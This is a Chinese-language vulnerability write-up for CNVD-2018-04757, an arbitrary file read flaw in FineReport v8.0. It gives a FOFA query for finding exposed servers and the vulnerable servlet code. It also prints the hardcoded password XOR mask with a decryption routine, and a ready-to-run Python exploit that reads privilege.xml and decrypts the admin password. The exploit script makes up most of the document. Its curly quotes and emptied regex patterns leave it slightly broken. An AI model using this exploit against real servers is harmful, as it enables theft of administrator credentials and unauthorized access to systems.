# 帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757
## 漏洞描述
FineReport报表软件是一款纯Java编写的，集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。
FineReport v8.0版本存在任意文件读取漏洞，攻击者可利用漏洞读取网站任意文件。
## 漏洞影响
`FineReport < v8.0` ## FOFA `body="isSupportForgetPwd"` ## 漏洞复现 出现漏洞的文件为 fr-applet-8.0.jar ```java
package com.fr.chart.web; import com.fr.base.FRContext;
import com.fr.general.IOUtils;
import com.fr.stable.CodeUtils;
import com.fr.web.core.ActionNoSessionCMD;
import com.fr.web.utils.WebUtils;
import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; public class ChartGetFileContentAction extends ActionNoSessionCMD {
public ChartGetFileContentAction() {
} public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath"));
if (!WebUtils.invalidResourcePath(var4)) {
InputStream var5 = FRContext.getCurrentEnv().readResource(var4);
String var6 = IOUtils.inputStream2String(var5);
var6 = var6.replace('\ufeff', ' ');
WebUtils.printAsString(var2, var6);
}
} public String getCMD() {
return "get_geo_json";
}
}
``` 使用request将文件名传入 调用cjkDecode函数解密文件名 使用invalidResourcePath函数校验文件是否存在 最后使用readResource函数读取文件传输到浏览器上 默认目录为resources 其中的privilege.xml里面存储了后台的用户名密码 ```xml
“`
`加密函数`
“`java
public static String passwordEncode(String var0) {
StringBuilder var1 = new StringBuilder();
var1.append(“___”);
if (var0 == null) {
return var1.toString();
} else {
int var2 = 0;
for(int var3 = 0; var3 < var0.length(); ++var3) {
if (var2 == PASSWORD_MASK_ARRAY.length) {
var2 = 0;
} int var4 = var0.charAt(var3) ^ PASSWORD_MASK_ARRAY[var2];
String var5 = Integer.toHexString(var4);
int var6 = var5.length(); for(int var7 = 0; var7 < 4 - var6; ++var7) {
var5 = "0" + var5;
} var1.append(var5);
++var2;
} return var1.toString();
}
}
``` `解密函数` ```java
public static String passwordDecode(String var0) {
if (var0 != null && var0.startsWith("___")) {
var0 = var0.substring(3);
StringBuilder var1 = new StringBuilder();
int var2 = 0; for(int var3 = 0; var3 <= var0.length() - 4; var3 += 4) {
if (var2 == PASSWORD_MASK_ARRAY.length) {
var2 = 0;
} String var4 = var0.substring(var3, var3 + 4);
int var5 = Integer.parseInt(var4, 16) ^ PASSWORD_MASK_ARRAY[var2];
var1.append((char)var5);
++var2;
} var0 = var1.toString();
} return var0;
}
``` 使用python写出的解密代码为 ```python
cipher = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
Password = ""
cipher = cipher[3:] #截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)
```
这里使用上面讲述的原理进行复现,访问目标  `路径分为两种` `/WebReport/ReportServer` `ReportServer` 访问POC为,读取密码文件 privilege.xml  使用解密脚本解密文件  得到密码，即可登陆后台系统，账户为 admin  ## 漏洞利用POC ```python
import requests
import sys
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 帆软报表 v8.0 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+——————————————‘)
def decode_passwd(cipher):
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # 掩码
Password = “”
cipher = cipher[3:] # 截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int(“0x” + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
return Password
def POC_1(target_url):
vuln_url_1 = target_url + ‘/WebReport/ReportServer’
vuln_url_2 = target_url + ‘/ReportServer’
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response_1 = requests.get(url=vuln_url_1, timeout=5, verify=False, headers=headers)
response_2 = requests.get(url=vuln_url_2, timeout=5, verify=False, headers=headers)
if “部署页面” in response_1.text:
print(“\033[32m[o] 目标部署页面为: {} \033[0m”.format(vuln_url_1))
POC_2(vuln_url_1)
elif “部署页面” in response_2.text:
print(“\033[32m[o] 目标部署页面为: {} \033[0m”.format(vuln_url_2))
POC_2(vuln_url_2)
else:
print(“\033[31m[x] 目标漏洞无法利用 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 目标漏洞无法利用 {} \033[0m”.format(e))
sys.exit(0)
def POC_2(vuln_url_fileread):
vuln_url = vuln_url_fileread + “?op=chart&cmd=get_geo_json&resourcepath=privilege.xml”
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, verify=False, timeout=5)
print(“\033[32m[o] 正在访问: {} \033[0m”.format(vuln_url))
if “rootManagerPassword” in response.text and response.status_code == 200:
print(“\033[32m[o] 目标存在漏洞,读取敏感文件 \n{} \033[0m”.format(response.text))
user_name = re.findall(r’‘, response.text)
cipher = re.findall(r’‘, response.text)
password = decode_passwd(cipher[0])
print(“\033[34m[o] 后台账户密码为:{} {} \033[0m”.format(user_name[0], password))
else:
print(“\033[31m[x] 目标 {}不存在漏洞 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 目标 {} 请求失败 \033[0m”.format(target_url))
if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)
“`
## Goby & POC
`帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757`
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